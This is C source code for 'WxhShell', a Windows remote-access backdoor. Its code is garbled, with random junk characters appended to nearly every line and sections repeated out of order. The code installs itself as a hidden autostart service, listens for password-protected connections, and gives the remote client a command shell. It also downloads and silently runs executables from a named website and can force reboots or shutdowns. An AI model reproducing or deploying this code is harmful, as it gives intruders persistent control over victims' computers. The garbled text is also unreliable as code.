    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P<s 0f:".  
    if(Boot(SHUTDOWN)) zvAUF8'_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SG@-b(  
    else { ).D+/D/"2  
    closesocket(wsh); :y%CP8  
    ExitThread(0); io{\+%;b~  
    } [ :*Jn}  
    break; }?KfL$@$  
    } ]sL)[o  
  // 获取shell K#_x.: <J  
  case 's': { ecIZ +G)k  
    CmdShell(wsh); & Y Y^Bd#  
    closesocket(wsh); !wNj;ST*  
    ExitThread(0); 'wm :Xa  
    break; M`u&-6  
  } op5G}QZ  
  // 退出 Tc.k0n%W:b  
  case 'x': { O4lHR6M2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vn"+x_  
    CloseIt(wsh); p^>_VE[S  
    break; m?)REE  
    } x_VD9  
  // 离开 y Nc"E  
  case 'q': { 14Y<-OO: k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @B#\3WNt  
    closesocket(wsh); s. ]<r5v7  
    WSACleanup(); %3;vDB*L$  
    exit(1); O}w"@gO@.  
    break; {2,vxGi  
        } Z\. n6  
  } _'Rzu'$`  
  } mJN*DP{  
H.=S08c3kA  
  // 提示信息 g*]/HS>e<G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6)j4-  
} {@YY8SKb9  
  } |fIIfYE  
t]14bf$*Q  
  return; IF~E;  
} ZlG|U]mM5  
Ef~Ar@4fA  
// shell模块句柄 6>=yX6U1q^  
int CmdShell(SOCKET sock) fWk,k*Z 9  
{ ta+MH,  
STARTUPINFO si; L5j%4BlK/  
ZeroMemory(&si,sizeof(si)); p()#+Xy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lC8Z@wkjO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2>+(OL4l  
PROCESS_INFORMATION ProcessInfo; 1XXuFa&  
char cmdline[]="cmd"; uw>O|&!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e !2SO*O  
  return 0; orON)S ks  
} qSA]61U&  
l.nd Wv  
// 自身启动模式 o7i>D6^^  
int StartFromService(void) 5x?YFq6k  
{ /?*GJN#  
typedef struct dYxX%"J  
{ O3KTKL]  
  DWORD ExitStatus; -g\;B  
  DWORD PebBaseAddress; s{9 G//  
  DWORD AffinityMask; CR8szMa  
  DWORD BasePriority; eEl71  
  ULONG UniqueProcessId;  @ ^cR  
  ULONG InheritedFromUniqueProcessId; ?DrA@;IB  
}   PROCESS_BASIC_INFORMATION; =8V 9E  
\@!"7._=  
PROCNTQSIP NtQueryInformationProcess; hH(w O\s  
U]AJWC6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .$"13"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q"9 2][}  
&,8F!)[9  
  HANDLE             hProcess; J5Ovj,[EZ  
  PROCESS_BASIC_INFORMATION pbi; Y!qn[,q8  
r7^oqEp@B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $H8B%rT]  
  if(NULL == hInst ) return 0; <{P`A%g@  
f1w_Cl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f>hA+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *hvC0U@3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F?+\J =LT  
i@m@]-2  
  if (!NtQueryInformationProcess) return 0; H ]z83:Z  
"K c/Cs2[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ygq;jX  
  if(!hProcess) return 0; s C>Oyh:%!  
yQ!I`T>a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <q.Q,_cW  
?>/9ae^Bw  
  CloseHandle(hProcess); 7SJR_G6,{  
Z_;! f}X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Gqq]ozm  
if(hProcess==NULL) return 0; z3Zo64V~7  
(Cb;=:3G  
HMODULE hMod; H!P$p-*.  
char procName[255]; A9_} RJ9  
unsigned long cbNeeded; %WF]mF T_  
dt||nF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aY-7K._</  
iY*fp=c9  
  CloseHandle(hProcess); p|+TgOYOc  
p?2^JJpUb  
if(strstr(procName,"services")) return 1; // 以服务启动 Ji4JP0  
92x)Pc^D  
  return 0; // 注册表启动 43?uTnX/  
} U'aJCM  
U#Wg"W{  
// 主模块 74r$)\q  
int StartWxhshell(LPSTR lpCmdLine) ub;:"ns}  
{ `gAW5 i-z5  
  SOCKET wsl; +"1fr  
BOOL val=TRUE; H/U.Bg 4  
  int port=0; Ye S5%?Fk  
  struct sockaddr_in door; C#LTF-$])  
wxo*\WLe  
  if(wscfg.ws_autoins) Install(); yV*jc`1  
H<") )EJI  
port=atoi(lpCmdLine); v{SZ(;  
uJ`:@Z^J  
if(port<=0) port=wscfg.ws_port; xLSf /8e  
4sq](! A  
  WSADATA data; Ihp Ea,v)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #&X5Di[A  
U"RA*|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -AN5LE9-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GkpYf~\Q  
  door.sin_family = AF_INET; n^|SN9 _r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l >~Rzw  
  door.sin_port = htons(port); =o4gW`\z  
\%&):OD1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D"gv:RojD  
closesocket(wsl); C8W_f( i~  
return 1; xXlx}C  
} `S+n,,l  
U(gYx@   
  if(listen(wsl,2) == INVALID_SOCKET) { (mplo|>  
closesocket(wsl); ;nrkC\SYh:  
return 1; t$ 97[ay  
} *q"1I9zvT  
  Wxhshell(wsl); G.r .Z0  
  WSACleanup(); gO{$p q}  
cJf&R^[T  
return 0; )t((x  
l9e=dV:pH  
} 9k \M<jA  
*cZ7?  
// 以NT服务方式启动 M@JW/~p'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nDcH;_<;9a  
{ h$mGaw vZ~  
DWORD   status = 0; PhAD: A  
  DWORD   specificError = 0xfffffff; {#~A `crO  
-<L5;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wrc1N?[bn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8"TlWHF`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jn`5{ ]D  
  serviceStatus.dwWin32ExitCode     = 0; #"8'y  
  serviceStatus.dwServiceSpecificExitCode = 0; \H&;.??W  
  serviceStatus.dwCheckPoint       = 0; fR?'HsQg  
  serviceStatus.dwWaitHint       = 0; %}JSR y  
O0;mXH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +@c$n`>)  
  if (hServiceStatusHandle==0) return; u{7->[=  
-oTdi0P  
status = GetLastError(); p2U6B  
  if (status!=NO_ERROR) "[-W(=  
{ n0G@BE1Y=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4V;-*:  
    serviceStatus.dwCheckPoint       = 0; U{qwhz(  
    serviceStatus.dwWaitHint       = 0; ^q`RaX)  
    serviceStatus.dwWin32ExitCode     = status; /;vHAtt;f  
    serviceStatus.dwServiceSpecificExitCode = specificError; -BSO$'{7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b6xz\zCL  
    return; ]TJ258P}  
  } 1;PI%++  
97 ,Yq3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u1gD*4+  
  serviceStatus.dwCheckPoint       = 0; Nf)SR#;  
  serviceStatus.dwWaitHint       = 0; =dwy 4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "&{.g1i9  
} 6J_$dzw  
ZuZCIqN  
// 处理NT服务事件,比如:启动、停止 D^a(|L3;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :wEy""*N0  
{ q&}+O  
switch(fdwControl) i9V,  
{ c$lZ\r"  
case SERVICE_CONTROL_STOP: mN> (n+ly  
  serviceStatus.dwWin32ExitCode = 0; Q+/P>5O/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x0%yz+i{:  
  serviceStatus.dwCheckPoint   = 0; $d,/(*Y#-  
  serviceStatus.dwWaitHint     = 0; pFV~1W:  
  { uH(M@7"6_!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Qb@.  
  } xj9xUun  
  return; *K& $9fah  
case SERVICE_CONTROL_PAUSE: F(ZczwvR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >^IUS8v  
  break; OG_v[  C5  
case SERVICE_CONTROL_CONTINUE: y2mSPLw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |j{]6Nu  
  break; sCmN|Q  
case SERVICE_CONTROL_INTERROGATE: aK]AhOG   
  break; sl"H!cwF  
}; tK?XU9o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [>U2!4=$M  
} p$ETAvD  
Jw>na _FJ  
// 标准应用程序主函数 2kk; z0f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +md"X@k5*  
{ F\v~2/J5v  
So75h*e  
// 获取操作系统版本 R,BINp  
OsIsNt=GetOsVer(); h(GSM'v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,b5vnW\  
6'x3g2C/  
  // 从命令行安装 g3yZi7b5FU  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gm3`/!r  
B#}EYY  
  // 下载执行文件 mxu!$wx  
if(wscfg.ws_downexe) { uHRxV"@}[1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "c?31$6  
  WinExec(wscfg.ws_filenam,SW_HIDE); xn@oNKD0  
} g>#}(u!PH  
| +uc;[`  
if(!OsIsNt) { th<>%e}5c  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oqt{ uTI~  
HideProc(); d(@ ov^e-  
StartWxhshell(lpCmdLine); yW\kmv.O  
} _3NH"o d  
else 1~},}S]id  
  if(StartFromService()) OF )*kiJ  
  // 以服务方式启动 [Q\(k d*4  
  StartServiceCtrlDispatcher(DispatchTable); 3xmPY.  
else `I4E': ZG  
  // 普通方式启动 F~hH>BH9  
  StartWxhshell(lpCmdLine); hs:iyr]@9  
ie>mOsz  
return 0; sTep2W.9  
} 1)qD)E5&cf  
}W(t> >  
.<xD'54  
yq<W+b/  
=========================================== P_H_\KsH*(  
Y*O Bky  
B52dZb  
d0f(Uk  
L@_o*"&j  
GXNkl?#  
" Y^U^yh_!^  
om=kA"&&Q  
#include <stdio.h> _^ic@h3'X~  
#include <string.h> rY&#g%B6Fp  
#include <windows.h> (ip3{d{CT]  
#include <winsock2.h> pp{GaCi  
#include <winsvc.h> 3`RI[%AN~  
#include <urlmon.h> G )`gn  
3+ 2&9mm  
#pragma comment (lib, "Ws2_32.lib") wehiX7y  
#pragma comment (lib, "urlmon.lib") Twr,O;*u=  
Kb-m  
#define MAX_USER   100 // 最大客户端连接数 VVpJ +  
#define BUF_SOCK   200 // sock buffer M'oZK  
#define KEY_BUFF   255 // 输入 buffer yu > ;m.e_  
R9D2cu,{  
#define REBOOT     0   // 重启 6+"gk(  
#define SHUTDOWN   1   // 关机 &p*rEs  
84i0h$ZZo  
#define DEF_PORT   5000 // 监听端口 & .#dZ}J  
h?} S|>9  
#define REG_LEN     16   // 注册表键长度 T &bB8tQk  
#define SVC_LEN     80   // NT服务名长度 a<>cbP  
l<ZHS'-;8  
// 从dll定义API 2R^Eea  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2+p XtP@O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w>}n1Nc$G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )]<^*b>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hJw]hVYa  
&OEBAtc/  
// wxhshell配置信息 ;B(16&l=q  
struct WSCFG { qV,x)y:V  
  int ws_port;         // 监听端口 ,S@B[+VZ  
  char ws_passstr[REG_LEN]; // 口令 V?`|Ha}  
  int ws_autoins;       // 安装标记, 1=yes 0=no zy8+~\a+Y&  
  char ws_regname[REG_LEN]; // 注册表键名 SJ:Teab  
  char ws_svcname[REG_LEN]; // 服务名 8<KC-|y.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ol>/^3 a=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \5=4!Ez  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |}/KueZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qw|y%Td8r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RzFxO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jw^my4  
UlKg2p  
}; l|vT[X/g  
"?W8 o[c+  
// default Wxhshell configuration !x||ObW\H  
struct WSCFG wscfg={DEF_PORT, )nK+`{;@!  
    "xuhuanlingzhe", 1=!2|D:C)i  
    1, !YlEXaS  
    "Wxhshell", x")Bmw$  
    "Wxhshell", /OMgj7olD  
            "WxhShell Service", e eyZ $n  
    "Wrsky Windows CmdShell Service", /[ Rp~YzW  
    "Please Input Your Password: ", gp H@F X  
  1, Qv;b$by3  
  "http://www.wrsky.com/wxhshell.exe", 0AoWw-H6V  
  "Wxhshell.exe" MBU4Awj  
    }; sqjDh  
dldS7Q  
// 消息定义模块 nLPd]%78>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *A")A.R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9;`hJ!r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XaoVv2=G~  
char *msg_ws_ext="\n\rExit."; 8,VEuBZ  
char *msg_ws_end="\n\rQuit."; =)N6 R  
char *msg_ws_boot="\n\rReboot..."; m6 Y0,9  
char *msg_ws_poff="\n\rShutdown..."; A2\3.3  
char *msg_ws_down="\n\rSave to "; /'_Yct=  
hw)z]  
char *msg_ws_err="\n\rErr!"; J9y}rGO  
char *msg_ws_ok="\n\rOK!"; +bb-uoZf  
wqap~X  
char ExeFile[MAX_PATH]; S@~ReRew2  
int nUser = 0; f}ch1u>  
HANDLE handles[MAX_USER]; fjuPGg~  
int OsIsNt; *#@{&Q(Qh  
,:V[H8 ?  
SERVICE_STATUS       serviceStatus; 1:./f|m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I?%#`Rvu  
iU=:YPE+ .  
// 函数声明 u09D`QPP]  
int Install(void); +>c%I&h}`  
int Uninstall(void); +#A~O4%t  
int DownloadFile(char *sURL, SOCKET wsh); Q7UQwAN'  
int Boot(int flag); 3hzz*9/n  
void HideProc(void); L}A2$@  
int GetOsVer(void); nvc(<Ovw  
int Wxhshell(SOCKET wsl); Ywcgt|  
void TalkWithClient(void *cs); q6%m .X7  
int CmdShell(SOCKET sock); t+^__~IX  
int StartFromService(void); @ Yo*h"s  
int StartWxhshell(LPSTR lpCmdLine); 9\kEyb$F=  
04}c_XFFE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y;dqrA>@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]~ S zb  
nf:wJ-;*  
// 数据结构和表定义 2uF'\y  
SERVICE_TABLE_ENTRY DispatchTable[] = {W%XS E  
{ oL!C(\ERh  
{wscfg.ws_svcname, NTServiceMain}, 4Yt'I#*  
{NULL, NULL} }?O>.W,/  
}; B2WPbox  
5a2;@ }%V  
// 自我安装 m Q<Vwx0  
int Install(void) c{x:'@%/s'  
{ ld5+/"$  
  char svExeFile[MAX_PATH]; zY-?Bv_D  
  HKEY key;  qzSm]l?z  
  strcpy(svExeFile,ExeFile); bhfKhXh8  
\`-xxhb?e  
// 如果是win9x系统,修改注册表设为自启动 "tDB[?  
if(!OsIsNt) { r $YEq5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )2u_c=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UjyrmQf  
  RegCloseKey(key); 9PaV*S(\TR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0[8uuqV[cB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fN9uSnu  
  RegCloseKey(key); TIF  =fQ  
  return 0; Wi~?2-!  
    } }b{7+ + Ah  
  } +]~}kvk:  
} hxw6^EA  
else { %xp 69  
?]+! gz1  
// 如果是NT以上系统,安装为系统服务 >J:liB|(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8zjJshE/  
if (schSCManager!=0) _5OxESE  
{ y7'9KQ  
  SC_HANDLE schService = CreateService S]4!uv^y  
  ( BXytAz3  
  schSCManager, /NuO>kQa  
  wscfg.ws_svcname, k? ,/om1  
  wscfg.ws_svcdisp, U_UN& /f  
  SERVICE_ALL_ACCESS, Ksk[sf?J&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F9r|EU#;  
  SERVICE_AUTO_START, 'S9jMyZrZ  
  SERVICE_ERROR_NORMAL, <" 0b 8 Z  
  svExeFile, P#rS.CIh  
  NULL, X'xnJtk  
  NULL, QVl"l'e8  
  NULL, _!?a9  
  NULL, iWkC: fQz  
  NULL N7)K\)DS!z  
  ); 1DH P5q  
  if (schService!=0) Lg-!,Y   
  { Odw9]`,T  
  CloseServiceHandle(schService); }1.'2.<Y  
  CloseServiceHandle(schSCManager); ~;t/VsgGW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^5k~ 7F.  
  strcat(svExeFile,wscfg.ws_svcname); z.tN<P7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ke2M&TV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UunZ/A$]m  
  RegCloseKey(key); w ,0OO f  
  return 0; 3k/X;:,.  
    } hdH3Jb_hl(  
  } FgR9$ is+  
  CloseServiceHandle(schSCManager); FB3}M)G>M  
} Q0g^%  
} S2#@j#\  
/HdjPxH  
return 1; ^#4<~zU  
} on1B~?*D  
*{O[}  
// 自我卸载 xgvwH?<  
int Uninstall(void) U@53VmrOy  
{ 0E@*&Ru  
  HKEY key; NuXII-  
&&zsUAkS  
if(!OsIsNt) { ,=: -&~?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HY(XI u  
  RegDeleteValue(key,wscfg.ws_regname); eEYz A  
  RegCloseKey(key); Fnd_\`9{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4MCj*ok<  
  RegDeleteValue(key,wscfg.ws_regname); \ AB)L{  
  RegCloseKey(key); nUCOHVI7  
  return 0; NFqGbA|  
  } U[Lr+nKo\  
} _KZ TY`/*  
} uSH_=^yTQ  
else { (N9g6V  
S.?DR3XLc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %{? 9#))  
if (schSCManager!=0) )kYDN_W  
{ Xwd9-:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v z&88jt  
  if (schService!=0) x]IJ;  
  { gOm8 O,  
  if(DeleteService(schService)!=0) { {/qQ=$t  
  CloseServiceHandle(schService); O .jCDAP  
  CloseServiceHandle(schSCManager); z:&/O&?  
  return 0; -Q|]C{r  
  } ~"8r=8|  
  CloseServiceHandle(schService); 1-|aeJ  
  } mri g5{  
  CloseServiceHandle(schSCManager); Mt@Ma ]!  
} WYIv&h<h"  
} /-+hMYe  
Q 87'zf  
return 1; yI / FD  
} bL5u;iy)  
Tl1H2s=G-  
// 从指定url下载文件 bHQ) :W  
int DownloadFile(char *sURL, SOCKET wsh) 7;pQ'FmZJ  
{ b Rr3:"=sE  
  HRESULT hr; F45-M[z  
char seps[]= "/"; /<Z3x _c  
char *token; Y8N+v+V/  
char *file; xtK\-[n  
char myURL[MAX_PATH]; ` }B,w-,io  
char myFILE[MAX_PATH]; ')Y1c O  
e$&n)>%  
strcpy(myURL,sURL); 5<P6PHdY  
  token=strtok(myURL,seps); *U`R<mV\  
  while(token!=NULL) AS'+p%(  
  { 8is QL  
    file=token; bCiyz+VyJn  
  token=strtok(NULL,seps); *;U<b  
  } 4[)tO-v:Y  
7`&6l+S|  
GetCurrentDirectory(MAX_PATH,myFILE); !'B='].  
strcat(myFILE, "\\"); \u;`Lf  
strcat(myFILE, file); 3 rR1/\  
  send(wsh,myFILE,strlen(myFILE),0); `$q0fTz  
send(wsh,"...",3,0); qqys`.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9_ZGb"(Lj  
  if(hr==S_OK) YPA$38  
return 0; $V F$Ok>  
else 1-E utq  
return 1; v:n[H]K|  
+,TrJg  
} RE1M4UV.  
PKQ.gPu6*@  
// 系统电源模块 "8~PfLJ+  
int Boot(int flag) ,H1K sN  
{ }F|B'[wn  
  HANDLE hToken; hE<Sm*HU  
  TOKEN_PRIVILEGES tkp; - FJLM  
9SJSUv:@  
  if(OsIsNt) { rK|("  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U*,\UF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d]MpE9@'v  
    tkp.PrivilegeCount = 1; OL_jU2,fv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fK2r6D9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T6."j_  
if(flag==REBOOT) { #T@k(Bz{L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2\;/mQI2A  
  return 0; z;_vl  
} nzbAQ3v  
else { $VhY"<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &9"Y:),  
  return 0; }6=? zs}  
} t0Jqr)9}6  
  } ?Iq{6O>D.  
  else { 6YV"H  
if(flag==REBOOT) { N(2M  w:}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]&dPY[~,/i  
  return 0; ;>S|?M4GZ  
} Q7i(M >|O  
else { ?7J::}R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ap2g^lQXq  
  return 0; s+z5"3'n  
} \jmZ t*c  
} eN\+  
NEvNj  
return 1; MSRk|0Mcr  
} i0zrXaKV  
tU *`X(;  
// win9x进程隐藏模块 b=U3&CV9  
void HideProc(void) p#_ 5w  
{ GLX{EG9Z  
EVC]B}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M|zTs\1I  
  if ( hKernel != NULL ) ! h92dH  
  { pMAP/..+2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Z,hQ>/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *aFY+.;U`  
    FreeLibrary(hKernel); 29m$S7[  
  } B|,d  
f1;@a>X  
return; R[)bGl6#  
} 4O/IT1+A  
ei{tW3 H$  
// 获取操作系统版本 @|bJMi  
int GetOsVer(void) 6> z{xYat  
{ 3:xKq4?  
  OSVERSIONINFO winfo; e`q*'u1?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +r9neS.l  
  GetVersionEx(&winfo); =\oL'>q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E!BzE_|i  
  return 1; uG +ZR: _  
  else )Y9\>Xj7  
  return 0; 9* huO#  
} +l.LwA  
O0s!3hKu  
// 客户端句柄模块 = ^Vp \  
int Wxhshell(SOCKET wsl) M_ >kefr  
{ 9qgs*]J  
  SOCKET wsh; s@{~8cHgU  
  struct sockaddr_in client; IV1Y+Z )  
  DWORD myID; 57 Bx-  
,D]g]#Lq  
  while(nUser<MAX_USER) YbnXAi\y|  
{ ~8"oH5  
  int nSize=sizeof(client); <RZqs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oveK;\7/m  
  if(wsh==INVALID_SOCKET) return 1; :Fu7T1  
nc\2A>f`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jj 5VBI!Ok  
if(handles[nUser]==0)  S~E@A.7  
  closesocket(wsh); { 0&l*@c&  
else Cb`,N  
  nUser++; ~G-W|>  
  } 9 wbQ$>G9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0fn*;f8{XJ  
MGxkqy?  
  return 0; OP"_I!t  
} )fxn bBz{  
>cg)Nq D  
// 关闭 socket nk7>iK!i  
void CloseIt(SOCKET wsh) 9V[}#(f$  
{ gIusp917  
closesocket(wsh); 0@{0#W3R  
nUser--; @rDBK] V  
ExitThread(0); q=D8 Nz  
} &;)B qqXc  
K~I?i/P=z  
// 客户端请求句柄 dr+(C[=  
void TalkWithClient(void *cs) vt^7:! r  
{ sQ,xTWdj  
lX)AbK]nb  
  SOCKET wsh=(SOCKET)cs; k?TZY|_  
  char pwd[SVC_LEN]; \AH5 zdK  
  char cmd[KEY_BUFF];  _cj=}!I  
char chr[1]; hliO/3g  
int i,j; c$^v~lQS  
1X5Yp|Ho  
  while (nUser < MAX_USER) { NsSZ?ky  
l|E4 7@#  
if(wscfg.ws_passstr) { >]ZE<.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P}UxA!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ojuSS3  
  //ZeroMemory(pwd,KEY_BUFF); ,aGIq. *v  
      i=0; *78c2`)[  
  while(i<SVC_LEN) { m- ibS:  
UZrEFpi  
  // 设置超时 O(!; 7v}  
  fd_set FdRead; h6^|f%\w*i  
  struct timeval TimeOut; sgGA0af  
  FD_ZERO(&FdRead); a0gg<Ml  
  FD_SET(wsh,&FdRead);  ;<B  
  TimeOut.tv_sec=8; s%`l>#H  
  TimeOut.tv_usec=0; VHMQY*lk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0Xw>_#Y/xS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1[u{y{9 q  
!<HMMf,-D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4%w<Ekd  
  pwd=chr[0]; ,Xfu?Yan  
  if(chr[0]==0xd || chr[0]==0xa) { =~Qg(=U0U  
  pwd=0; zrG  
  break; VPuR4 p.  
  } CfP-oFHoQ  
  i++; 3S]Q IZ1  
    } =_zo  
8.N`^Nj 1  
  // 如果是非法用户,关闭 socket _ahp7-O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v[{7\Hha  
} -3v\ c~  
5N%d Les  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K: $mEB[c<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #jG?{j3;?  
oe2*$\?.  
while(1) { u_ l?d  
/.CS6W^z  
  ZeroMemory(cmd,KEY_BUFF); %=9o'Y,4  
X' 5R4j  
      // 自动支持客户端 telnet标准   IF5-@hag,  
  j=0; UH}lKc=t  
  while(j<KEY_BUFF) { ~jzLw@"~$^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :{iH(ae;  
  cmd[j]=chr[0]; !#W>x49}  
  if(chr[0]==0xa || chr[0]==0xd) { 0F%8d@Y2  
  cmd[j]=0; d=%NFCIV  
  break; `iM%R3&  
  } l&U$L N$*e  
  j++; 8 b~  
    } O65`KOPn  
UhL1Y NF_  
  // 下载文件 saP%T~  
  if(strstr(cmd,"http://")) { ~mXzQ be p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d~%7A5  
  if(DownloadFile(cmd,wsh)) y*{zX=]l<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?HZ^V  
  else Ys}^ hy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WPNw")t!  
